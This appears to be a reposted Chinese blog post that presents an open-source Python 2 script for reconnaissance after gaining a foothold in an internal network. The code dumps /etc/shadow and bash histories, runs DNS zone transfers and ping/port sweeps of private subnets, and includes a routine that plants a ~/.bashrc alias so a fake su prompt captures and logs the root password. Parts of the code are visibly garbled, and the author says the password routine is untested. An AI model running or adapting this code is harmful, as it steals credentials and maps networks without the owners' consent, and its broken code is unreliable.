Python内网渗透测试信息收集脚本v1.0(开源)

安全 数据安全
有人说到了内网渗透测试还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的目标,要处理的内容要多得多,只有获得了必要的信息,才有的抓的目标。

渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。

有人说到了内网还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的目标,要处理的内容要多得多,只有获得了必要的信息,才有的抓的目标,我认为一般内网环境中的渗透测试最难和最重要的是精确的信息收集,剩下的自然可以顺理成章的进行常规的漏洞扫描和利用。如果有一张详细的资产列表、网络规划图和对应的密码列表,就没必要渗透了,直接获取各种权限就得了,但这样的几率很小,但是也是可能的,只要时间允许,也可以做邮件监控、社工分析等,但这是另外一回事了。

Python内网渗透测试信息收集脚本v1.0(开源)

在做内网渗透的时候,发现自己开始就是不停的敲命令:查看IP看看跳板是不是在内网环境中、ping8.8.8.8看看是否能外连、netstat看看内网连接的IP地址、查看hosts文件有没有hosts绑定信息、arp-a查看arp列表、traceroute查看路由可达性、nslookup查看dns解析、find命令查找数据库配置信息和敏感文件等等。这些其实都是很简单的操作,没什么技术含量,但是感觉每次测试都会花很多时间去处理,笔记弄得的很乱。所以现在决定自己弄个脚本自动跑跑,最后弄个统一输出文档,提高工作效率。敬请期待。

第一版写得比较烂,但基本能用,会逐渐改进

【v1功能如下:

1、获取主机信息+dns域传送漏洞利用+root口令嗅探(需要自己调用下代码)

2、获取内网网段收集+存活ip判断(多线程)+常用端口扫描(多线程)

bug : linux下的语法有些报错、linux下的ip存活判断有些问题

【v2更新计划:

1、修复v1存在的bug和编码问题

2、增加敏感文件和配置文件搜索功能

3、弱口令扫描功能

【v3更新计划:

1、修复v2bug

2、增加arp嗅探功能

3、报告输出+交互式美化

【v4更新计划:

1、修复v3bug

2、改进代码效率

下面是v1版本的源码,一个很长的类,本来输出内容是中文提示,后来发现在一些linux上是乱码,索性改成了英文:

  1. #!/usr/bin/python  
  2. # -*- coding: cp936 -*-  
  3. #coding:utf-8  
  4. import os  
  5. import getpass  
  6. import time  
  7. import socket  
  8. import re  
  9. '''''for portscan''' 
  10. from threading import Thread  
  11. from Queue import Queue  
  12. import platform  
  13. import types  
  14. from subprocess import Popen, PIPE  
  15. '''''for dns''' 
  16. import struct  
  17. import sys  
  18.  
  19.  
  20. class InScaner:  
  21.     def __init__(self,domain):  
  22.         self.NUM = 200 
  23.         self._re_IP = r'\d+\.\d+\.\d+\.\d+' 
  24.         self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*' 
  25.         self._re_network = r'^\d+\.\d+\.\d+' 
  26.         self.re_ip = re.compile(self._re_IP)  
  27.         self.re_startwithIP = re.compile(self._re_startwithIP)  
  28.         self.re_network = re.compile(self._re_network)  
  29.         self.host_ip = socket.gethostbyname(socket.gethostname())  
  30.         self.domain = domain  
  31.         self.path=os.getcwd()  
  32.         self.host_hostname = ''#os.popen('hostname').read()  
  33.         self.host_id = ''#os.popen('id').read()  
  34.         self.host_userlist=[]  
  35.         self.host_useronline='' 
  36.         self.host_last='' 
  37.         self.host_systemId = ''#os.popen('uname -a').read()  
  38.         self.host_systemversion = '' 
  39.         self.host_shadow = '' 
  40.         self.host_issue = '' 
  41.         self.host_bash_history = []  
  42.         self.host_services = '' #未进行识别  
  43.         self.host_ESTABLISHEDlink = '' 
  44.         self.host_hackCmd = []  
  45.         self.host_complie = []  
  46.           
  47.         self.dns=[]  
  48.         #self.dns=['58.83.193.214']  
  49.         self.etc_hosts=[]  
  50.         self.ifconfig='' 
  51.         self.arp='' 
  52.         self.route='' 
  53.         self.inerwww='' 
  54.         self.internetout='' 
  55.         self.keyip=[]  
  56.         self.keyipmaybe=[]  
  57.         self.networkmaybe=[]  
  58.         self.network = []#192.168.1.0格式  
  59.         self.q = Queue()  
  60.         self.s = Queue()  
  61.         self.networkIPlistA = []  
  62.         self.portlist = [21,22,23,25,80,81,443,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018]  
  63.         self.networkIP_portOpen={}  
  64.         self.networkIP_weakPass={}  
  65.     
  66.     def HostInfoGet(self):  
  67.         print '###################Get localhost information####################' 
  68.         print '#####localhost IP####' 
  69.         print self.host_ip+'\n' 
  70.           
  71.         _hostcmdList = [  
  72.                         'hostname',#主机名  
  73.                         'id',      #用户id  
  74.                         '''''  
  75.                         cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}'  
  76.                         ''',  
  77.                         'w',  
  78.                         'last',  
  79.                         'uname -a',  
  80.                         'cat /etc/issue',  
  81.                         ]  
  82.           
  83.         print '#####Get hostname#####' 
  84.         self.host_hostname = os.popen(_hostcmdList[0]).read()  
  85.         print self.host_hostname  
  86.           
  87.         print '#####Get current user#####' 
  88.         self.host_id = os.popen(_hostcmdList[1]).read()  
  89.         print self.host_id  
  90.           
  91.         print '#####Get users informaintion#####' 
  92.         userlist = os.popen(_hostcmdList[2]).read()  
  93.         self.host_userlist = userlist.split('\n')  
  94.         print userlist  
  95.           
  96.         print '#####Get online users list#####' 
  97.         self.host_useronline = os.popen(_hostcmdList[3]).read()  
  98.         print self.host_useronline  
  99.           
  100.         print '#####Get users login history#####' 
  101.         self.host_last = os.popen(_hostcmdList[4]).read()  
  102.         print self.host_last  
  103.           
  104.         print '#####Get linux kernel version#####' 
  105.         self.host_systemId = os.popen(_hostcmdList[5]).read()  
  106.         print self.host_systemId     
  107.           
  108.         print '#####Get linux press version#####' 
  109.         self.host_systemversion = os.popen(_hostcmdList[6]).read()  
  110.         print self.host_systemversion        
  111.           
  112.         print '#####Get import local files#####' 
  113.  
  114.         _hostfileList = [  
  115.                         'cat /etc/shadow',  
  116.                         'cat ~/.bash_history',  
  117.                         'cat /root/.bash_history' 
  118.                         ]          
  119.         print '#####Get shadow#####' 
  120.         self.host_shadow = os.popen(_hostfileList[0]).read()  
  121.         print self.host_shadow  
  122.           
  123.         print '#####Get bash_history#####' 
  124.         self.host_bash_history.append(os.popen(_hostfileList[1]).read())  
  125.         self.host_bash_history.append(os.popen(_hostfileList[2]).read())  
  126.         print '###Get too much###' 
  127.  
  128.               
  129.         _servicecmdlist = [  
  130.                            'netstat -antlp',  
  131.                            '''''  
  132.                            netstat -antlp | grep 'ESTABLISHED'  
  133.                            ''' 
  134.                            ]  
  135.         print '#####Get system services and listening Port#####' 
  136.         self.host_services = os.popen(_servicecmdlist[0]).read()  
  137.         print self.host_services  
  138.           
  139.         print '#####Get network ESTABLISHED#####' 
  140.         self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read()  
  141.         print self.host_ESTABLISHEDlink  
  142.           
  143.         print '#####Get cmd can be used#####' 
  144.         _host_hackSoft = [  
  145.                          'nmap',  
  146.                          'nc',  
  147.                          'netcat',  
  148.                          'wget',  
  149.                          'tcpdump',  
  150.                          'wireshark',  
  151.                          'rpm',  
  152.                          'yum',  
  153.                          'apt-get',  
  154.                          'ftp',  
  155.                          'ssh',  
  156.                          'telnet',  
  157.                          'scp',  
  158.                          'nslookup' 
  159.                          ]  
  160.           
  161.         for cmd in _host_hackSoft:  
  162.             typecmd = 'type '+cmd+' >/dev/null' 
  163.             try:  
  164.                 out = os.system(typecmd)  
  165.                 if 0 == out:  
  166.                     self.host_hackCmd.append(cmd)  
  167.                     print '%s is ok' % cmd  
  168.             except:  
  169.                 print '%s is unused' % cmd  
  170.         print '###################Get localhost information finished####################\n' 
  171.               
  172.               
  173.               
  174.                   
  175.     def mgFileGet(self):  
  176.         print '##########获取口令密码文件中。。。。。。##########' 
  177.           
  178.         print 'PHP' 
  179.           
  180.         print 'tomcat' 
  181.           
  182.           
  183.         print 'apache' 
  184.           
  185.         print 'struts' 
  186.           
  187.         print 'jboss' 
  188.           
  189.         print 'weblogic' 
  190.           
  191.         print 'ftp' 
  192.           
  193.         print 'ssh' 
  194.           
  195.         print 'vnc' 
  196.           
  197.         print 'mysql' 
  198.           
  199.         print 'oracle' 
  200.           
  201.         print 'search' 
  202.           
  203.         pass 
  204.       
  205.    
  206.     def NetworkInfoGet(self):  
  207.         print '####################Get network information####################' 
  208.         _netfileListCat = [  
  209.                         'cat /etc/hosts',  
  210.                         'cat /etc/resolv.conf',  
  211.                         ]  
  212.               
  213.         print '######Get DNS server IP#####' 
  214.         self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read())  
  215.         for dns in self.dns:  
  216.             print dns  
  217.           
  218.         print '#####Get /etc/hosts list#####' 
  219.         hosts = os.popen(_netfileListCat[0]).read().split('\n')  
  220.         for host in hosts:  
  221.             #print host  
  222.             _host=self.re_startwithIP.findall(host)  
  223.             if _host!=[]:  
  224.                 self.etc_hosts += _host  
  225.         for host in self.etc_hosts:  
  226.             print host  
  227.               
  228.         _netcmdList = [  
  229.                      'ifconfig -a',  
  230.                      'arp -a',  
  231.                      'route -n',  
  232.                      'ping %s -c 2' % self.domain,  
  233.                      'ping 114.114.114.114 -c 2' 
  234.  
  235.                      ]  
  236.           
  237.         print '#####Get localhost ip and interface information#####' 
  238.         self.ifconfig = os.popen(_netcmdList[0]).read()  
  239.         print self.ifconfig  
  240.           
  241.         print '#####Get arp list#####' 
  242.         self.arp = os.popen(_netcmdList[1]).read()  
  243.         print self.arp  
  244.           
  245.         print '#####Get route information#####' 
  246.         self.route = os.popen(_netcmdList[2]).read()  
  247.         print self.route  
  248.           
  249.         print '#####Get innerDNSresolve test#####' 
  250.         self.inerwww = os.popen(_netcmdList[3]).read()  
  251.         print self.inerwww  
  252.           
  253.         print '#####Can search the Internet or not#####' 
  254.         self.internetout = os.popen(_netcmdList[4]).read()  
  255.         print self.internetout  
  256.  
  257.               
  258.         print '#####DNS test#####' 
  259.         if self.dns == []:  
  260.             print 'sorry,we  have no the dns ip' 
  261.         else:  
  262.             for dnsip in self.dns:  
  263.                 print '###dns %s results###' % dnsip  
  264.                 try:  
  265.                     self.GetDomainList(dnsip,self.domain)  
  266.                 except:  
  267.                     print '##dns test failed##' 
  268.         #获取DNS域传送信息  
  269.         print '#####Network exist#####' 
  270.         #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存  
  271.         ip = []  
  272.         keyip = []  
  273.         keyipmaybe =[]  
  274.         network = []  
  275.         keynetwork = []  
  276.         keynetworkmaybe = []  
  277.           
  278.         _ex_ip =[  
  279.                  '127.0.0.1',  
  280.                  '0.0.0.0',  
  281.                  '255.255.255.255',  
  282.                  '255.255.255.0',  
  283.                  '255.255.0.0',  
  284.                  '255.0.0.0',  
  285.                  '127.0.1.1',  
  286.                  '8.8.8.8',  
  287.                  '114.114.114.114' 
  288.                  ]  
  289.           
  290.         _iplistsearch = [  
  291.                            self.host_useronline,  
  292.                            self.host_last,  
  293.                            self.host_services,  
  294.                            self.host_ESTABLISHEDlink,  
  295.                            self.dns,  
  296.                            self.etc_hosts,  
  297.                            self.ifconfig,  
  298.                            self.arp,  
  299.                            self.route,  
  300.                            self.inerwww  
  301.                            ]  
  302.             
  303.         _iplistsearchmaybe = [  
  304.                               self.host_bash_history  
  305.                               ]  
  306.         
  307.           
  308.           
  309.           
  310.         for text in _iplistsearchmaybe:  
  311.             if type(text) == type('1'):  
  312.                 ip+=self.__getIPinStr(text)  
  313.             elif type(text) == type(['1']):  
  314.                 for text2 in text:  
  315.                     ip+=self.__getIPinStr(text2)  
  316.         [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理  
  317.         self.keyipmaybe = keyipmaybe  
  318.           
  319.         #变量中的IP并去重,去无效IP  
  320.         ip = []  
  321.         for text in _iplistsearch:  
  322.             if type(text) == type('1'):  
  323.                 ip+=self.__getIPinStr(text)  
  324.             elif type(text) == type(['1']):  
  325.                 for text2 in text:  
  326.                     ip+=self.__getIPinStr(text2)  
  327.         [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理  
  328.         #将IP地址转换为网段,并去重  
  329.         self.keyip = keyip  
  330.           
  331.         _ex_network =[  
  332.                  '127.0.0.0' 
  333.                  ]  
  334.           
  335.         for netip in self.keyipmaybe:  
  336.             network.append(self.__ip2network(netip))  
  337.             [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network]  
  338.               
  339.         network = []  
  340.         for netip in self.keyip:  
  341.             network.append(self.__ip2network(netip))  
  342.             [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network]  
  343.         #筛选出私有IP地址  
  344.         _privatNet = [  
  345.                       '172',  
  346.                       '192',  
  347.                       '10' 
  348.                       ]  
  349.         print "network may exist:" 
  350.         for net in keynetworkmaybe:  
  351.             netsplit = net.split('.')  
  352.             if netsplit[0in _privatNet:  
  353.                 print net  
  354.                 self.networkmaybe.append(net)  
  355.               
  356.         print "network exists ensure:" 
  357.         for net in keynetwork:  
  358.             netsplit = net.split('.')  
  359.             if netsplit[0in _privatNet:  
  360.                 print net  
  361.                 self.network.append(net)  
  362.               
  363.       
  364.     def __ip2network(self,ip):  
  365.         return self.re_network.findall(ip)[0]+'.0' 
  366.           
  367.     def __getIPinStr(self,string):  
  368.         ip = self.re_ip.findall(string)  
  369.         return ip  
  370.       
  371.         __LEN_QUERY = 0    # Length of Query String  
  372.     def __gen_query(self,domain):  
  373.         import random  
  374.         TRANS_ID = random.randint(165535)       # random ID  
  375.         FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0 
  376.         data = struct.pack(  
  377.             '!HHHHHH',  
  378.             TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT  
  379.             )  
  380.         query = '' 
  381.         for label in domain.strip().split('.'):  
  382.             query += struct.pack('!B', len(label)) + label.lower()  
  383.         query += '\x00'    # end of domain name  
  384.         data += query  
  385.         global __LEN_QUERY  
  386.         __LEN_QUERY = len(query)    # length of query section  
  387.         q_type = 252    # Type AXFR = 252  
  388.         q_class = 1    # CLASS IN  
  389.         data += struct.pack('!HH', q_type, q_class)  
  390.         data = struct.pack('!H', len(data) ) + data    # first 2 bytes should be length  
  391.         return data  
  392.       
  393.       
  394.     __OFFvSET = 0    # Response Data offset  
  395.     __TYPES = {1'A'2'NS'5'CNAME'6'SOA',  
  396.              12'PTR'15'MX'16'TXT',  
  397.              28'AAAA'38'A6'99'SPF',}  
  398.       
  399.     def __decode(self,response):  
  400.         RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111 
  401.         if RCODE != 0:  
  402.             print 'Transfer Failed. %>_<%' 
  403.             sys.exit(-1)  
  404.         anwser_rrs = struct.unpack('!H', response[6:8] )[0]  
  405.         print '<< %d records in total >>' % anwser_rrs  
  406.         global __LEN_QUERY, __OFFSET  
  407.         __OFFSET = 12 + __LEN_QUERY + 4    # header = 12, type + class = 4  
  408.         while __OFFSET < len(response):  
  409.             name_offset = response[__OFFSET: __OFFSET + 2]    # 2 bytes  
  410.             name_offset = struct.unpack('!H', name_offset)[0]  
  411.             if name_offset > 0b1100000000000000:  
  412.                 name = self.__get_name(response, name_offset - 0b1100000000000000True)  
  413.             else:  
  414.                 name = self.__get_name(response, __OFFSET)  
  415.             type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]  
  416.             type = self.__TYPES.get(type, '')  
  417.             if type != 'A'print name.ljust(20), type.ljust(10)  
  418.             __OFFSET += 8    # type: 2 bytes, class: 2bytes, time to live: 4 bytes  
  419.             data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]  
  420.             if data_length == 4 and type == 'A':  
  421.                 ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ]  
  422.                 print name.ljust(20), type.ljust(10), '.'.join(ip)  
  423.             __OFFSET += 2 + data_length  
  424.            
  425.     # is_pointer: an name offset or not          
  426.     def __get_name(self,response, name_offset, is_pointer=False):  
  427.         global __OFFSET  
  428.         labels = []  
  429.         while True:  
  430.             num = struct.unpack('B', response[name_offset])[0]  
  431.             if num == 0 or num > 128break    # end with 0b00000000 or 0b1???????  
  432.             labels.append( response[name_offset + 1: name_offset + 1 + num] )  
  433.             name_offset += 1 + num  
  434.             if not is_pointer: __OFFSET += 1 + num  
  435.         name = '.'.join(labels)  
  436.         __OFFSET += 2    # 0x00  
  437.         return name  
  438.           
  439.     def GetDomainList(self,dnsip,domain):  
  440.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  441.         s.connect( (dnsip, 53) )  
  442.         data = self.__gen_query(domain)  
  443.         s.send(data)  
  444.         s.settimeout(2.0)    # In case recv() blocked  
  445.         response = s.recv(4096)  
  446.         res_len = struct.unpack('!H', response[:2])[0]    # Response Content Length  
  447.         while len(response) < res_len:  
  448.             response += s.recv(4096)  
  449.         s.close()  
  450.         self.__decode(response[2:])  
  451.           
  452.     def _ip2int(self,ip):  
  453.         return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])])  
  454.       
  455.     def _int2ip(self,intip):  
  456.         return '.'.join([str(intip/(256**i)%256for i in range(3,-1,-1)])  
  457.       
  458.     def __pingScan(self):  
  459.         while True:  
  460.             ip = self.q.get()  
  461.             if platform.system() == 'Linux':  
  462.                 p = Popen(['ping','-c 2',ip],stdout=PIPE)  
  463.                 m = re.search('ttl=', p.stdout.read())  
  464.                 if m!=0:  
  465.                     self.networkIPlistA.append(ip)  
  466.             if platform.system()=='Windows':  
  467.                 p = Popen('ping -n 2 ' + ip, stdout=PIPE)  
  468.                 m = re.search('TTL=', p.stdout.read())  
  469.                 if m:  
  470.                     self.networkIPlistA.append(ip)  
  471.             self.q.task_done()  
  472.           
  473.     def __portScan(self):  
  474.         while True:  
  475.             scan = self.s.get()   
  476.             portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  477.             portConnect.settimeout(100)  
  478.             try:  
  479.                 portConnect.connect((scan[0],scan[1]))  
  480.                 portConnect.close()  
  481.                 self.networkIP_portOpen[scan[0]] += str(scan[1]) + ',' 
  482.                 #print self.networkIP_portOpen  
  483.             except Exception:  
  484.                 pass 
  485.                 #print e  
  486.             self.s.task_done()  
  487.               
  488.     def PortScan(self):  
  489.         print '##########Start port scanning.....#########' 
  490.         print '###ip alive:###' 
  491.         if self.network == []:  
  492.             print '!!!!sorry,IP is NULL !!!!!' 
  493.         else:  
  494.             #得到要ping的ip列表:  
  495.             _pinglist = []  
  496.             for network in self.network:  
  497.                 for i in range(1,255):  
  498.                     _pinglist.append(self._int2ip(self._ip2int(network)+i))  
  499.           
  500.             #开始执行  
  501.             for i  in range(self.NUM):  
  502.                 self.t = Thread(target = self.__pingScan)  
  503.                 self.t.setDaemon(True)  
  504.                 self.t.start()  
  505.                   
  506.             for ip in _pinglist:  
  507.                 self.q.put(ip)  
  508.             self.q.join()  
  509.             #打印扫描存活IP列表结果,并给端口开发字典赋值  
  510.             for ip in self.networkIPlistA:  
  511.                 self.networkIP_portOpen[ip]='' 
  512.                 print ip  
  513.               
  514.             print '###Port opening list...###' 
  515.             _scanlist = []  
  516.             for ip in self.networkIPlistA:  
  517.                 for port in self.portlist:  
  518.                     _scanlist.append([ip,port])  
  519.             for i  in range(self.NUM):  
  520.                 self.t2 = Thread(target = self.__portScan)  
  521.                 self.t2.setDaemon(True)  
  522.                 self.t2.start()  
  523.                   
  524.             for scan in _scanlist:  
  525.                 self.s.put(scan)  
  526.             self.s.join()  
  527.               
  528.             #print self.networkIP_portOpen  
  529.             #打印端口扫描结果:  
  530.             for ip in self.networkIPlistA:  
  531.                 portlist = self.networkIP_portOpen[ip].split(',')  
  532.                 #print portlist  
  533.                 for port in portlist:  
  534.                     if port != '':  
  535.                         print '%s:%s' % (ip,port)  
  536.         #先ping,后直接进行TCP连接扫描  
  537.         print '##########Port scan finished##########' 
  538.         print '####################网络信息获取结束####################\n' 
  539.           
  540.     def PassScan(self,hostsIP,service,port,username,password):  
  541.         #支持ssh、telnet、ftp、mysql、oralce  
  542.         print '##########Weak password scanning##########' 
  543.         return   
  544.       
  545.     def GetRootPass(self): #测试用用不知道好不好用  
  546.         _file = open('~/.bashrc','a')  
  547.         _file.write("alias su=\’%s+/root.py\'") % self.path  
  548.         _file.close()  
  549.           
  550.         current_time = time.strftime("%Y-%m-%d %H:%M")    
  551.         _logfile="%s+.su.log" % self.path              #密码获取后记录在这里    
  552.         #CentOS                    
  553.         #fail_str = "su: incorrect password"    
  554.         #Ubuntu                 
  555.         #fail_str = "su: Authentication failure"    
  556.         #For Linux Korea                    #centos,ubuntu,korea 切换root用户失败提示不一样    
  557.         fail_str = "su: incorrect password"   
  558.         try:    
  559.             passwd = getpass.getpass(prompt='Password: ');  
  560.             _file = open(_logfile,'a').write("[%s]t%s"%(passwd, current_time))#截取root密码    
  561.             _file.write('\n')  
  562.             _file.close()  
  563.               
  564.         except:  
  565.             pass 
  566.           
  567.         time.sleep(1)  
  568.         print fail_str                               #打印切换root失败提示  
  569.         pass 
  570.       
  571.     def Runall(self):  
  572.         pass 
  573.       
  574.       
  575. if __name__ == '__main__':  
  576.     out=InScaner('ocellus.biz')  
  577.     out.HostInfoGet()  
  578.     out.NetworkInfoGet()  
  579.     out.PortScan()  
  580.     print '###########InScan finished###########' 

 

责任编辑:蓝雨泪 来源: FreeBuf
相关推荐

2021-10-11 10:39:13

内网信息收集

2009-08-26 16:37:04

ibmdwRational

2013-09-17 10:26:00

开源文档管理文档管理系统PPM

2015-08-04 11:01:41

开源容器编排Kubernetes

2015-04-15 09:23:03

AFormChange

2019-09-15 14:07:49

2010-03-18 12:57:46

python(V1.0

2016-12-01 17:34:37

互联网

2013-01-14 12:14:44

Firefox OSFirefox OS

2013-04-18 17:07:36

2020-10-26 08:24:09

内网信息收集渗透测试

2013-04-12 13:21:44

2020-10-28 07:09:13

内网信息收集

2017-12-05 10:40:33

Python子域名

2020-04-02 11:11:27

黑客网络安全域名采集

2011-03-23 09:07:48

2012-01-16 11:41:09

海豚浏览器发布

2011-04-25 10:48:02

jQuery

2012-03-14 15:41:09

傲游浏览器iPad版V1.0

2015-09-15 11:33:22

点赞
收藏

51CTO技术栈公众号